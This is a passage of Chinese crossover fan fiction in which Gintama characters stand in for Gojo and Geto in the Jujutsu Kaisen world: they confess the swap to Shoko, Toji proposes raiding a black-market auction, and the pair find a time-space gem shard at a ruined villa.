家入硝子面朝大门坐着，翘着个二郎腿，嘴里叼着一根烟，一手拿着手机打着字，另一只手拿着一个通讯器。
门板倒地而扬起的风，微微吹乱了她的刘海，在空中缓缓升起的烟也被吹散。
她低头眼看了下趴在地上装死的两人，然后“啪”一声合上手机。
纤细的手指夹住烟，轻吐出一口烟。
她扬起一抹漫不经心的笑容，肌肉带着眼角的泪痣一起微动，整个人显得慵懒而淡然。
“哟，真是独特的敲门方式。来的人不少，大晚上的还挺热闹。”
趴在地上的两人磨磨唧唧地站起，低着头互相比着眼神。
坂田银时用肩膀碰了碰土方十四郎，利用系统在公共频道疯狂鸣叫。
【快上啊啊！忽方十四悠，欺骗女人的感情不是你最擅长的事情了吗？】
土方十四郎不甘示弱地用肩膀撞了回来：【开什么玩笑！不要一张口就是污蔑人，你个人形自走谣言散播机器。】
这加大的力道撞疼了坂田银时的肩膀，让他火气冒出：【只有心虚的人才会张口闭口就是别人造谣，有本事拿出证据来啊？】
然后再用力砸了回去。
【证据什么的难道不是要指控的人拿出来的吗？】土方十四郎疼得倒吸口气，【不要胡搅蛮缠了，这次很明显是因为你才暴露的，你赶快上！】
他再次加大力度，几乎算是半个身体撞了上去。
坂田银时被撞得一个踉跄，险些摔倒，捂着疼痛不已的肩膀，他怒瞪回去。
“喂喂喂，很痛啊！从刚才开始就在故意趁机撞我吧？怎么？就这么不敢面对现实吗？”
“和你这种光长个子不长脑子的人不同，我可是成熟大人，大人遇到什么情况都会沉稳面对。”
“说得好听，你倒是面对啊！”
“面对就面对谁怕谁啊，不如说谁怕了谁是小狗。”
“‘谁怕了谁是小狗～’”坂田银时用阴阳怪气的音调重复了一遍，“鬼之副长竟然放狠话这么童真吗？”
“你这混蛋… …”
看着面前擅自开始吵架的俩人，家入硝子感觉到了熟悉的头疼，为了早早结束这痛苦，她忍不住出声打断：“我说… …”
“非常抱歉！”
刚一开口就得到了俩人非常标准的跪地土下座加震耳欲聋的道歉。
这下压力给到了家入硝子这边。
“… …”她看着俩人的发旋，叹了口气，“看你们这么混乱的样子，好吧，那我来问，你们来答，怎么样？”
俩人同步地点了点头：“没问题。/没问题，女王大人。”
家入硝子沉默了一下，决定忽视刚刚听到的奇怪称呼：“那俩人，现在在哪？”
“不知道。”
“那他们什么时候能回来？”
“不知道。”
“… …他们现在安全吗？”
“说实话，其实也不知道。”
家入硝子站起身，打开电话：“嗯，好，那看看夜蛾老师来了之后，你们还知不知道。”
两人瞬间慌张起来，一个人拉住家入硝子的袖子，一个人握住她手里的电话。
“冷静冷静！”坂田银时开始疯狂冒冷汗，“这些我们确实都不知道啊！你倒是问些我们知道的东西。”
“好吧，那你们为什么来这里冒充他们，这总能说了吧？”
坂田银时疯狂点头：“可以可以，这个可以。”
“是为了暂时填补他们不在的这个空档。”
这毫无信息量的一番话，让家入硝子再次举起手机。
“等等！白痴！谁让你简略成这样的！”
关键时候，土方十四郎及时的补上说明。
省略掉这个世界是部
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漫画这种超次元话题，在两个人的互相补足中，将事情的缘由慢慢道出。
随着事情的讲述，慌乱的两人看着家入硝子始终如一的淡定神情，也跟着慢慢冷静下来。
“… …总之，就是这样。”
坂田银时诉苦着：“我们也是被临时抓来的壮丁，什么都不知道，只有到找到原本的五条悟和夏油杰，我们才能回家。”
听完这一切，家入硝子陷入了思考中，事情的发展有些超乎她的想象了。
不过咒术界奇人异事那么多，涉及时空的术式也不是没有，虽然很离奇，但是也还在接受范围内。
接着她想起来五条悟和夏油杰失踪前，做的最后一个任务。
临时出现的突发任务，而且又是点名让他们两个去。
单独拿出来这个事情，大家都不觉得有问题，毕竟这种情况在以前也时不时发生，但如果加上一个结果，即“五条悟和夏油杰的失踪”的话，就很难不让人产生怀疑。
“或许，你们可以从那天的那个任务调查看看。”
讲完之后就开始闭住呼吸，大气也不敢出的俩人，听到家入硝子的这话，惊喜地瞪大双眼。
“你竟然相信我们了？”
家入硝子觉得好笑：“怎么，难道你们更希望我大喊‘不要开玩笑了！我没这么好骗’然后把你们都抓起来？”
“没有！”
土方十四郎正经了神情，顺着思路回想了一下任务。
他们来的时机正好，五条悟和夏油杰的那个任务报告是让他们写的，因为不是自己做的任务，所以对于相关内容一概不知，宅十四和坂田银时也只能当做美术课涂鸦，随便画了个抽象的图案交上去。
当然这份不认真的报告，在后来还是被一起打了下来。
为了很好的水任务报告的字数，宅十四和坂田银时就去向辅助监督要了当时给的任务内容。
所以对于五条悟和夏油杰的任务，他们还是有些了解的。
“我记得，好像只是个普通的别墅闹鬼任务？也就二级咒灵左右。”
坂田银时听到“鬼”字就浑身打颤：“会不会想多了？碰巧在那个地方时空混乱了也说不定啊？”
“不管怎么样，你们到那应该能发现什么。”家入硝子从口袋里掏出便携式灭烟器，将剩下的烟蒂熄灭，“夜蛾老师那边我会帮忙打掩护的，但你们多少也注意点… …算了，这两人现在已经没有形象可言了。”
她想了想他们捅的篓子，忍不住笑了一下：“突然很好奇，到时候那两个人回来，看到自己声名一片狼藉会是什么表情。”
坂田银时嘟囔着：“倒也，没有到声名狼藉的地步吧？”
和家入硝子交代完，两人的心终于定了下来，互相道晚安之后，便离开了医疗室。
看着熟悉又陌生的两个背影，家入硝子缓缓靠在解剖台边。
在一开始察觉到，自己的两个同期是别人的时候，她内心里是有慌张的。
身为毫无战斗力的后勤人员，她不能轻举妄动。
所以第一反应就是想要告诉夜蛾正道，但稍微冷静之后，她又觉得，连两个这么强的同期都不是他们的对手，就算告诉老师，也只会让更多自己熟悉的人受伤。
纠结到最后，她还是准备先自己观察一下。
在她给出带着定位的手机时，心里是不抱有希望的，但事实上，那两人不光用了，还随身携带。
这一副心大的模样让她无语的同时，也难免多了一丝庆幸。
通过定位传过来的信息，她发现两人竟然除了上课做任务，就是去打小钢球，或者去会展中心。
阴谋没有看出来，倒是先把对方的爱好摸得一清二楚。
她也怀疑过这个地址是不是对方误导自己的，但夜蛾正道确实也在这两个地方找到他们，并且把他们抓回来了。
观察时间越久，她越觉得面前这俩人的形象，和老谋深算相差很远。
如果说这两人是为了利用五条悟和夏油杰的身份，来做一些事情，那么他们的种种行为也未免太高调了点，好像生怕别人看不出他们是冒名顶替的。
说他们是专门来黑五条悟和夏油杰的可信度，倒是更高一点。
这样的将信将疑了一段时间，一直到那天任务等级出错。
是家入硝子第一时间治疗的土方十四郎，那身上的伤口有多深，她比谁都清楚。
在没有人表露出怀疑他们的当下，故意做这种苦肉计没有任何好处。
尤其当看到坂田银时匆忙赶来，那双沉重得，仿佛酝酿着浓浓黑色的眼神，有绝望，有自责。
家入硝子看到过很多次这种眼神，或是因为朋友的逝去，或是因为自己的无能。
从那一刻开始，她觉得可以稍微试着相信一下这两个人。
相信他们不是别有用心，相信他们有所原因。
36.第三十六章
干净的街道上，人们穿着时尚，走在路上的脚步却匆匆忙忙。
在这片热闹的地方，一栋不起眼的楼房挤在建筑中间，因为建立的时间不短，涂漆的墙皮颜色比起周围深了些许。
就是在这栋朴素的楼内，开了几家女仆咖啡店。
坂田银时正坐在其中一家，享受着宅十四梦寐以求的服务。
“主人～您点的蛋包饭来啦，让我为主人施展魔法，这样就可以变得更好吃的喵～来，主人和我一起念，噗灵灵叮叮当魔法喵咪闪耀光波～”
毫无心理负担的坂田银时，跟着面前的女仆一起，举起双手，在胸口比了个心，这个动作让他下意识幻视了满嘴“LOVE&PEACE”的HATA王子，嘴上不带感情地重复着：“噗灵灵叮叮当魔法喵咪闪耀光波。”
“魔法施展成功啦喵！主人快尝尝有没有变得更好吃。”
坂田银时面无表情地挖了一大口塞在嘴里，鼓着腮帮子嚼啊嚼，然后异常客观地点评道：“酱油有点放多了，有点咸，我更喜欢甜口的，能把里面的盐换成糖吗？”
女仆沉默了，她还是第一次遇到这种人，来女仆咖啡店跟来饭馆吃饭的一样。
她们主打的是服务和提供情绪价值，怎么会有人真的开始点评菜做的怎么样？
“喵喵喵？主人是觉得味道不满意吗？”
女仆决定使用必杀技，她将双手握拳，抵在自己的下巴上，瞪大无辜的双眼看着坂田银时。
在食物面前突然变得冷酷无比，坂田银时眉毛都没有多移动一毫米：“不满意，重做。”
“呃，好的喵，麻烦主人稍微等等喵。”
女仆扬起公式化的笑容，端走了只吃了一口的蛋包饭。
“这是怎么了？”
另一个女仆走了过来，询问着坂田银时。
“你们这蛋包饭做的不行啊。”
“我们这可是女仆咖啡店，菜品只要能吃就行，而且有可爱的女仆陪你一起吃饭，你竟然还能纠结菜好不好吃。”
“可爱又不能拌着饭吃，只有那些二次元宅男喜欢吧？比起可爱，我更喜欢那种性感的大姐姐。”
坂田银时在女仆咖啡店肆无忌惮地发表着暴言，被周围的顾客回以怒视。
和他搭话的女仆知道他口无遮拦，对着周围带着歉意一笑，就拽着他离开了咖啡店。
“干嘛？我蛋包饭还没上呢。”
“… …这里可是让各种人，都能得到内心满足的梦想之地，而你过来就只是为了吃？”
“当然不是，但在这里也就只有吃吸引我了，要我说，你干嘛把见面的地方约在这，黑泽大小姐？”
搭话的这位女仆，正是那晚被坂田银时救下的黑泽法子。
现在是事情结束后的第二天。
昨晚坂田银时因为要和家入硝子解释，所以必须回高专，于是想将黑泽法子一起接回去。
但对方不是咒术师，贸然带回去恐怕会引起更加不好的后果。
于是五条翔一便自告奋勇，主动留下来帮忙照看。
毕竟他这御三家的身份在这，多多少少能让伏黑甚尔犹豫一下。
但大概是因为禅院直哉吸取了上次的经验教训，在昨晚对伏黑甚尔的追赶初见成效，导致对方没有心思来继续完成自己的任务。
黑泽法子这边有惊无险，安全地度过了一夜。
担心离得久了，黑泽法子这边会发生变故，一大早，坂田银时和土方十四郎就威逼利诱着辅助监督，让他从别人那边抢了一个任务过来。
两人以“有任务在身”为由，理直气壮地翘了课。
然后在途中分道扬镳，土方十四郎去做任务，坂田银时则是过来替补帮他守护了一夜的五条翔一。
他在途中接到黑泽法子的短信，知道对方在女仆咖啡店，于是转道来到了位于秋叶原的这家店，最终和五条翔一成功交接。
对于身为咒术师的五条翔一来说，一晚没睡丝毫不会影响他的精气神，倒是黑泽法子因为这个架势，心惊胆战了一晚，第二天顶着浓浓的黑眼圈去女仆咖啡店上班。
在同事们关心的目光下，给自己涂了厚厚几层遮瑕和粉底液。
面对坂田银时的询问，黑泽法子也知道现在的场所和严肃的事态格格不入，此刻苦恼又有些不好意思地挠了挠头：“没办法啊，我在这工作嘛。”
“工作？你家不给你零花钱吗？”
黑泽法子低下头，手指不安地互相扣着，面上渐渐窘迫起来。
“我，身份有些特殊嘛。”
“… …不会是什么私生女之类的剧情吧？”
黑泽法子猛地抬头：“你怎么知道？好厉害！难道事先调查过我吗？是不是就像电影里的黑客那种，敲敲键盘就能调出我的信息？”
坂田银时感觉很无语，五条悟的那双卡姿兰大眼睛也更死鱼眼了一些。
“这种设定太普遍了，开个大卡车在二次元随便一撞，撞飞的人里，十个里面有七个这种的，剩下的还有两个转生的和一个穿越的。”
“刚刚还说别人死宅，你这不是更严重吗？”黑泽法子有些郁闷，泄气地松了肩膀，“我知道我这样很任性，现在这种情况下，我不应该呆在人群密集的地方，而且你们本来也没有保护我的义务，但是我，我真的需要钱，很多很多的钱。”
坂田银时看着嘴唇颤抖，眼神却依然坚定的黑泽法子，懒洋洋地挠了挠头：“想去那就去呗，反正女仆咖啡店就是这种，让各种人满足的梦想之地，不是吗？”
温柔的话语像是羽毛一样，轻抚了下黑泽法子不安而又疲惫的内心。
再坚强的人，在面对善意的时候，都会瞬间丢盔卸甲。
她瞪大了眼睛，原本还憋得住的泪水，此刻却控制不住地顺着眼角流下。
为了不影响因为工作化的精致妆容，她鼓着腮帮子，憋住气，用指腹轻轻擦拭泪痕。
“谢谢你。”她努力不让自己发出哭腔，“我们明明才见了三次面，真的，谢谢你。”
“不客气… …等等，三次面？”
坂田银时掰着手指头想了想，第一次是昨晚，第二次是现在，那还有一次是什么时候？
看着他一脸茫然的样子，黑泽法子就知道坂田银时没有注意到，她深吸几口气，压下心头的情绪，提示道：“我们第一次见面，你还是和你的朋友呆在一起的呢，就在这个秋叶原里。”
这么一说，坂田银时就立马有了印象，不如说是印象很深刻。
毕竟上一次来秋叶原，是因为他在赌马场和伏黑甚尔较劲，输光衣服，穿着内裤来找宅十四蹭饭，最后饭是在警察局蹭到的，照片是
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被广为流传的，揍是在高专门口挨的。
稍稍一想就全是不好的回忆。
“啊，那么说，你是当时在周围发宣传单的女仆之一？”
“说来惭愧。”黑泽法子干笑一声，“给你们新的地址去发传单的，就是我。”
坂田银时在大脑中疯狂旋转，发现自己当时并没有记那个女仆的脸，满脑子都是白嫖晚饭。
他隐约记得对方是不是wink了一下，还让自己以后有时间去她的咖啡店坐坐？
忘记得这么彻底，让他有些心虚起来，而这默不作声的行为，让黑泽法子误以为他在生气。
立马低下头，双手合十：“听说后来你们被警察抓走了，真的非常抱歉！”
“啊，嗯，没事，去警察局嘛，对我们俩个来说就和回家一样自然。”
“啊？”
“不说这个，你竟然还能记得我长什么样啊。”
坂田银时可是记得，他刚摘下面具的时候，黑泽法子就惊呼了一声，显然是瞬间就认出了自己。
说到这，黑泽法子不好意思起来：“因为，让人印象深刻嘛，就是，明明脸和身材都很不错，但是穿得像个流氓一样。”
“长得丑的才叫耍流氓，长得帅的一般都会叫他男菩萨。”
黑泽法子对于坂田银时的厚脸皮和歪理，有了更深一步的认知，她面上敷衍着“嗯嗯”回应点着头，转身的动作一点不拖拉，出来的时间够久了，她必须回去工作了。
“恐怕现在还不能让你继续去过家家。”
伏黑甚尔的声音在楼道内回响，让两人瞬间警惕起来。
坂田银时伸出一只胳膊，将黑泽法子挡在身后，另一只手朝自己背后被黑布裹着的刀型咒具摸去。
“真是死缠烂打啊，这样追人是不可能成功的哦。”
楼下传来脚步声，一声一声仿佛踩在两人的胸口，打乱了他们的心跳。
这里实在不是交手的好地方，周围的普通人太多，难免会将他们牵扯进去。
正当坂田银时思考着，怎么样才能把伏黑甚尔引到没人的地方，同时也保护好黑泽法子的时候，穿着休闲的伏黑甚尔走到了目光所及的楼梯下。
他双手插在兜里，身上没有带任何武器，以往扎人的杀意也被收敛了起来。
坂田银时不敢松懈，最大限度地调动着身上的术式和六眼。
“大叔，是想去居酒屋走错地方了吗？”
“你才更不应该出现在这里吧？未成年。”
两人话不投机，眼看着马上气氛就要不对，伏黑甚尔转了个话题：“想要我不杀这个小鬼也行，三千万日元。”
“当我是人傻钱多的大少爷那样好骗吗？你这任务报酬才多少。”
“任务报酬三百万吧，确实挺少的，不如敲诈大少爷来得划算。”伏黑甚尔摸了摸下巴，“怎么样？真的不考虑一下？那要不然，我现在就杀了她？”
那凶狠的眼神与躲在坂田银时身后的黑泽法子对视，让黑泽法子惊恐地把移开了目光。
“不过嘛，我这还有个建议。”
坂田银时凛了凛神，知道接下来的话，才是伏黑甚尔此行的目的。
只见伏黑甚尔从口袋里拿出右手，手上抓着一个邀请函，对着面前两人晃了晃：“我们不如合作，做一票大的。”
37.第三十七章
在充满女仆、咖啡以及各种可爱装饰的店中，多了两个格格不入的人。
以他们这桌为中心，周围一圈都没有人敢坐。
小小一个咖啡店，大家宁愿一起挤在边上，也不想坐在这两个看起来就不是很好惹的人的附近。
其中一人，坂田银时正在对重新上的蛋包饭大快朵颐，这次重甜口的味道很合他的口味，现在的他没有血糖高的困扰，每天想吃多少糖就能吃多少糖。
而且因为六眼，他时刻都在消耗体力和脑力，对于糖类的依赖可谓是上了一个台阶。
在他的对面，坐着的则是刚刚还在楼道处，和他争锋相对的伏黑甚尔。
而在坂田银时的身后，则是担心因为自己让附近的人受伤，就算伏黑甚尔提出了合作，也不觉得放心的黑泽法子。
伏黑甚尔无视周围的眼神，充满腱子肉的胳膊拿起带着荷叶边的粉色杯子，喝了口咖啡。
黑泽法子警惕地盯着对面，但在看到这画风格格不入的场景时，心里还是忍不住小小震撼了一下。
“嗤，不用这么紧张。”伏黑甚尔往咖啡里加了块方糖，再用带着蝴蝶结的搅拌棒搅了搅，“我只是拿钱办事，又不是什么有变态癖好的杀人狂魔。”
坂田银时把头从饭里抬起，嘴角还沾着一粒米饭：“所以这个合作的具体内容是什么？”
搅拌好咖啡之后，伏黑甚尔喝了口，觉得糖加得有点多，皱着眉放下杯子。
他没有直接回答问题，转而开始讲起咒术师的任务。
“在咒术界，诅咒师和咒术师往往是敌对关系，虽然学生应该不怎么会接触到，但你应该知道总监部会下达那种‘诛杀某某诅咒师’的任务吧？”
坂田银时没有否认，身为一出生就被挂在暗网悬赏的五条悟，对这些应该很清楚：“然后呢？”
“得到任务的咒术师们，就像个工具一样把任务目标杀了，然后拍拍屁股走人，那后续工作是谁来做呢？”
“你这是什么问题？当然是辅助监督啊。”
“那尸体怎么处理呢？诅咒师身上的咒具呢？他背后的财产呢？”
金钱的数字在咒术界已经膨胀到了一个高度，就算是身处末尾的诅咒师，背后也可能藏着一大笔财产。
更别说动不动几十万、上百万、上千万，可遇不可求的咒具了。
而且具有术式的术士，就算是尸体也有很高的价值，可以将其具有的术式提出做成咒具，更有甚者可以直接“请灵上身”。
坂田银时想到这，忍不住抬头看了眼正在侃侃而谈的伏黑甚尔，然后遮掩似的咳嗽了一声，在对方开始疑惑的眼神中回过神，回道：“呃，充公？”
“天真。”
“… …难道是在私下里贩卖吗？”
“没错，一部分人眼馋这高额利润，偷偷将诅咒师尸体、咒具等运出，再在一个拍卖会上竞价出售。”
黑泽法子忍不住打了个寒颤，眼睛瞥了瞥周围：“我们，一定要在这里，聊这种话题吗？我担心有人会报警。”
“警察又抓不住我们。”
“… …问题不在这吧？”
坂田银时看了看手边的邀请函，上面写着拍卖会的时间和地点：“你想去这个拍卖会拍东西？”
“我像是那种会乖乖付钱的人吗？”
这理所当然的白嫖态度，得到了坂田银时的认可，他竖了竖大拇指：“但是这次咖啡的钱你还是要自己付的。”
听了对方一番绕了大半圈的话，坂田银时觉得自己明白对方的来意了：“也就是说，这个拍卖会有你想抢的东西？”
“有我想抢的？”伏黑甚尔嗤笑一声，“不，这里的咒具我全都要。”
坂田银时沉默了，想过对方会狮子大开口，没想到会开这么大的口。
“反正都是黑货，就算丢了，总监部那群老头也不能正大光明地调查。”
“听起来你很有经验啊。那你自己不也可以搞定吗？”
“别人的拍卖会的话是可以。”伏黑甚尔咂了咂嘴，“但总监部那群人就和乌龟一样，喜欢给自己的东西套上一层又一层的防护，我虽然能识别部分陷阱，但是在不触发警报的前提下，解除结界，还是有点困难，所以我需要你的六眼。”
“六眼还有这个功能？”
伏黑甚尔疑惑地看了眼，然后自己想通了，把坂田银时的问题理解成，对方以为自己说的是六眼能破除结界。
于是有些不耐烦地解释：“你只要看结界的咒力是从哪里汇聚的，那里就是结界的基石，到时候我把这些基石破坏掉，结界就能消失。”
“听起来很简单，合作内容聊完了，那我们该讲些露骨的事情了。”坂田银时将双手交叠，放在自己的下巴上，“报酬怎么分？”
“这个小鬼的命还不够吗？”
“取她性命的委托费就三百万吧？这点就想打发我？”
穷鬼黑泽法子在一旁忍不住嘟囔着：“三百万是什么小数字吗？不要把别人的性命讲得好像不值钱一样。”
“一个人的命不够的话，那再加几个？”
这不带着玩笑意味的话让对面两人瞬间警惕起来。
黑泽法子背在身后的手上拿着手机，已经按在了通话界面，只要按下按键就能将电话拨打给警察。
坂田银时握着刀叉的手紧绷起来，姿势虽然没有变，但是神情却严肃起来，时刻准备着在伏黑甚尔出手前率先出击。
这副意料之中的模样让伏黑甚尔低低地笑了声，他摆了摆手：“不要这么紧张嘛，不会把这个店里的其他人怎么样的。”
“拍卖会交易的东西，你不会以为只有诅咒师吧？”他低沉的声音缓缓说着，“当然还有些好用的苗子啊。”
一股寒气从坂田银时的心中漫开，在意识到伏黑甚尔讲的是什么意思的时候，他先是一愣，接着就是难以遏制的愤怒。
“人口买卖。”
伏黑甚尔看向黑泽法子，对于她能立马意识这些而感到有些意外，毕竟对方怎么看都是生活在接触不到黑暗面的普通人。
不过想想对方隐秘的身份，以及背后的追杀，可能面前这个少女也没有面上看起来那么傻白甜。
“总监部就这么放任不管？这些可都是未来能给他们打工的优秀工具人啊。”
“未来？呵，只要还有咒术师
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，拼命压榨他们去做任务不是一样的吗？况且... ...”伏黑甚尔眼里溢着嘲讽，“这不是还有五条大少爷在吗？大少爷实力强劲，乐善好施，肯定不会见死不救吧？”
“好一出道德绑架啊，不管是他们，还是你。”
伏黑甚尔耸了耸肩，接受了这在他看来不算贬低的评价。
事已至此，不管怎么说坂田银时也没法放着不管。
他大大地叹了口气，最终还是答应了。
心下里想着，到时候在伏黑甚尔眼皮子底下，摸走一两样咒具回回血好像也不错。
黑泽法子看着两人很快就达成了一致，并且互相加了联系方式，准备结束这次对话，心下有些慌张，她双手交握，下意识地搓着手。
眼看着他们开始就“这次的饭钱谁付”，展开争论，她知道自己不能再犹豫了。
“那个... ...”她上前一步，第一次站在两人中间，“能带上我一起吗？”
伏黑甚尔抬眼看了看黑泽法子：“我不喜欢带拖油瓶。”
“你们突然在拍卖现场消失，说不定会引起对方注意，我可以给你们打掩护！”
坂田银时同样不赞同：“小法子，这次遇到的人很危险，比绑架你的那几个诅咒师还要危险，就算再怎么缺钱，也不能不顾自己的安危吧？”
“可是... ...”
“钱还是得有命才能花啊。”
拍了拍黑泽法子的肩膀，再转头，店里已经没有了伏黑甚尔的身影。
坂田银时刚想学着开溜，就被守在门口的女仆拦下，只好骂骂咧咧地付完两个人的费用。
推开咖啡店的大门，他回头看了眼情绪低落的黑泽法子。
“如果有什么事都可以找我。”他抬起握着手机的右手晃了晃，“拥有了大帅哥的联系方式，就要好好利用起来啊。”
黑泽法子没有回答，她看着关上的门，听着门上晃动的铃铛声，心里还是下了决定。
重新站在人声鼎沸的大街上，坂田银时的内心却没有来时的那样轻松。
他拨通了土方十四郎的电话：“喂，我这边完事了。”
“比想象中的要快嘛。”
“出了点状况，见面再说。那我们现在各自回高专，然后在门口集合一起回教室？”
“不。”对面语气里多了些无奈，“我们先去昨天家入告诉我们的那个闹鬼别墅。”
“就是五条悟和夏油杰消失的那个地点？”坂田银时抬头看了眼大太阳，“明天去也是一样的。”
“必须今天去！坂田氏！”
突然拔高的音量让坂田银时耳鸣了一瞬间，然后立马把手机拿远了些。
里面还不断地传来宅十四激动的喊话：“明天就是爱酱的演唱会啊！而且我今天下午... ...不！中午就要去现场夜排，没有时间浪费了！”
“就是这么个情况。”土方十四郎叹了口气，“早点调查也好，我们在别墅这里碰面。”
话筒里传来电话挂断的声音，坂田银时抬头看了看天，大口吸了口人间的阳气。
今天阳光这么好，应该不会出现替身使者的吧？
38.第三十八章
目的地所在的这片别墅群，虽然离市区有些距离，但是周围生活所需的店铺、娱乐设施、医院应有尽有。
少了林立的高楼，光照和光污染也少了许多，高大的树木种植在附近，美化景色的同时还能净化空气，一看就是片空气质量常年处于优的区域。
同样也因为远离闹市，这里少了汽车的轰鸣声，多了悦耳的鸟鸣。
虽然现在网络并不发达，没有把各个地区的富裕程度排个名，但是坂田银时相信，这里绝对称得上是富人区的前几。
而在这种环境中，一摊废墟就显得格外的醒目。
坂田银时低头看了看脚边的碎泥块，再抬头看了看那裸露在外的钢筋，顺着往废墟内看去，依稀能从几块还算完好的墙皮上，看出其昔日的辉煌。
虽然这被完全破坏的现场，极大地增加了他们调查的难度，但好歹是不用担心会突然冒出某些违反唯物主义的东西。
他松了口气，开始试图装作一本正经地分析：“从这里的大规模损坏来看，这里发生过激烈的打斗，其中一个选手是五条悟，另一个也是五条悟。”
同样松了口气的土方十四郎瞥了他一眼：“怎么会有人自己打自己？”
坂田银时转头，定定地看着土方十四郎，眼里的揶揄不言而喻。
不管原因如何，在别人看来确实曾“自己打自己”的土方十四郎，沉默地移开了目光。
“咳，没有时间浪费了，快点调查吧。”
坂田银时奸笑着捂着嘴，绕着土方十四郎转着圈，试图以这种方式来嘲讽对方，被恼羞成怒的土方十四郎一脚踹到腰上。
两人惯例打闹了一会，就开始认真调查了。
坂田银时摘下墨镜，用六眼检查着废墟中的角角落落。
时间过去两周多了，现场残留的咒力残秽几乎消失不见，而从建筑损坏的痕迹来看，大部分应该都是无下限术式的“苍”轰出来的。
“苍”的破坏力太大了，能够瞬秒大部分的敌人，同样也会遮盖住其他人术式留下的痕迹。
坂田银时对于这次的调查不抱什么希望，如果是他们刚来这个世界的时候，说不定能看出什么东西，但现在时间过去得太久了点。
看着现场的情况，越调查土方十四郎的心里也越发不乐观。
他手搭在一块水泥板下，单手轻松地将其掀起，露出下面被砸碎的各种类似玻璃的碎片。
这些碎片在阳光下，在四周反射出一道道光线，晃了一下坂田银时的眼睛。
他刚想发牢骚，却突然猛地一怔，在这堆碎片里看到了一丝异样。
没有多犹豫，他立马张开无下限，确保能够避免自己手被割伤后，毫无顾忌地在这堆碎片里翻找着。
这些碎片由不同物品混合在一起，碎成一粒一粒的，应该是钢化玻璃，而有些看起来在碎掉之前，是一个完整的球体或者水滴体，应该是那种有钱人装的大吊灯。
而在这些碎片中，一抹红色藏匿其中，很微小，一般人的肉眼很容易错过。
坂田银时费劲地将其掏出，小心翼翼地放在眼前端详。
这很明显也是某个物体的裂开后的一小片，不过一片指甲盖的大小，薄得能透过它看向另一边，乍一看和其他碎片没有什么不同，按理说不会引起任何人的注意。
土方十四郎盯着坂田银时手里的碎片看了一会，没有看出什么不同。
“你总不会是觉得这片碎片很好看，所以想带回去收藏吧？”
“你看着它，没觉得眼熟吗？”
“… …怎么？难不成这是四魂碎片？”
“很接近了。”
坂田银时拿着碎片靠近眼睛，无瑕的天空之眼中，映上了一丝红色。
“还记得我们和冥冥做的委托吗？那颗被我们保护得碎成四魂碎片模样的宝石。”
土方十四郎惊讶：“… …你是说这是其中一片？”
“准确说，应该是丢失的宝石中，其中一块的碎片。在之前做任务的时候，我看到那个宝石的第一眼，就觉得那个宝石有点不对劲，但当时我六眼还不怎么会用，所以一时间也没看出什么所以然。”
“那现在你看到了什么？”
“虽然很微弱，但我确实在其中，看到了和系统空间内流转的能量相同的部分，我想，那应该就是属于‘时空’的力量。”
土方十四郎忍不住倒吸一口气，开始回想这段时间发生的事情。
五条悟和夏油杰的消失之后，他们立马就来到这个世界，紧接着就参与到了具有“时空”能力的宝石委托事件中，而任务中途，难缠的对手伏黑甚尔突然接到电话，然后就离开了。
在那之后没多久，土方十四郎就遭到了敌人的暗算。
这些是单纯的巧合吗？还是说，从一开始，他们就已经落入某个人，或者某个组织的阴谋里了呢？
土方十四郎心里渐渐沉重起来：“如果真是这样的话，那可能一开始五条悟和夏油杰的消失，就不是意外。”
坂田银时用六眼再次仔细扫描了下现场，确认了没有其他类似能量的碎片。
“仅有的这一片，看来应该是对方百密一疏，不小心遗留在这的，不管怎么样，先把这片碎片问问哥布林大叔吧。”
他从口袋里掏出一颗糖，把糖扔进嘴里，将碎片放进剩下的彩色袋子里：“我记得那个四宫丢了几块宝石来着？不知道剩下几块那个幕后黑手准备怎么用。”
“啧，这种落入后手的感觉真不好。”土方十四郎咂了下嘴，从口袋掏出一根烟点燃，“这里也没什么好调查的了，你带着碎片先回高专，我去会展夜排。”
“不是吧，情况都这么严峻了，你还要去看演唱会？！”
土方十四郎无语地看了过去：“就是情况严峻才更需要去看看。”
“… …怎么说？”
“你是不是和那个人在一起久了，脑子也开始不灵光了？”
突然的无差别人身攻击，让在后台一直偷懒的宅十四不服气地顶号，就为了说一句：“脑子不灵光的人才会骂别人脑子不灵光吧！”
“就是就是！”
看着面前丝毫没有攻击性的小学生斗嘴x2，土方十四郎闭眼吐烟，用这副淡定的姿势来表示自己的成熟。
“哥布林大叔说过时空隔膜出现问题，会有别的世界的人偷渡到这里。”等到两人消停了下来，土方十四郎接着说，“这句话，难道不会让你们想到什么吗？”
坂田银时想了想演唱会，突然眼睛一亮：“那个科技树很明显和这个时代对不上的虚拟偶像— —星野爱！”
无视掉宅十四难以置信和激动否定的言语，土方十四郎肯定了坂田银时的回答。
“对，因为上次的委托关系，这次应该能进入后台。我想想有没有办法近距离问问那个虚拟偶像，如果四宫先生在的话，正好也能问问背后拉投资的人是谁，说不定能找到些幕后黑手的线索。”
坂田银时补充着：“最好也问问，能不能把上次碎掉的宝石，分一块碎片给我们。”
线索渐渐铺开，虽然真相尚不明朗，但至少也能有个调查的方向。
坂田银时想了想：“那我这边就从伏黑甚尔开始入手调查，幕后黑手应该不至于亲自发布委托，但和伏黑甚尔接触的委托人很可能知道些什么。”
“伏黑甚尔？”
土方十四郎愣了下，不可避免地想起最近流传起来的狗血三角恋，有一瞬间的恍惚，他咳嗽了一声回过神：“一般这种诅咒师，应该不会
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透露自己的委托人信息吧？而且他不像是能好好和你交流的人。”
“但他也不像是遵守职业道德，坚决不透露委托人信息的人。”坂田银时大拇指和食指捏在一起，比了个“钱”的手势，“实在不行也可以使用钞能力。”
对于铁公鸡说的钞能力，土方十四郎是不抱任何期待的，他们更多的只会在别的地方，把这些花销再割回来。
反正倒霉的不是自己，他也就懒得深究，想了想留在这里也不会再有什么收获，两个人便不再停留，转身并排朝着来时的路走去。
“对了，你电话里说的发生了一些状况，是怎么回事？”
坂田银时挠了挠头发：“这个啊，就是我又遇见了伏黑甚尔，但他这次不是来杀黑泽，而是要和我合作。”
关于坂田银时参与的诅咒师绑架事件，土方十四郎在事后也略有耳闻，但是仅仅一晚上过去，对方的态度就能变化的这么快吗？
“合作？怕不是有猫腻。”
“我一开始也是这么想的，但是从刚刚的分析里，我觉得我又多了必须去的理由。”坂田银时将装着碎片的糖纸，在手心中抛起，再接住，“伏黑甚尔不知道从哪拿来一个拍卖会的邀请函，想卷走里面的咒具。我在想，这个邀请函的来源，会不会是个线索。”
“你就不怕这是对方故意给你设的一个局？”
“那不是正好？”坂田银时龇牙一笑，墨镜下的眼睛里，写满着势在必得，“省得我花时间去找他了。”
边走路边谈话的功夫里，两人走出别墅群，来到了马路边。
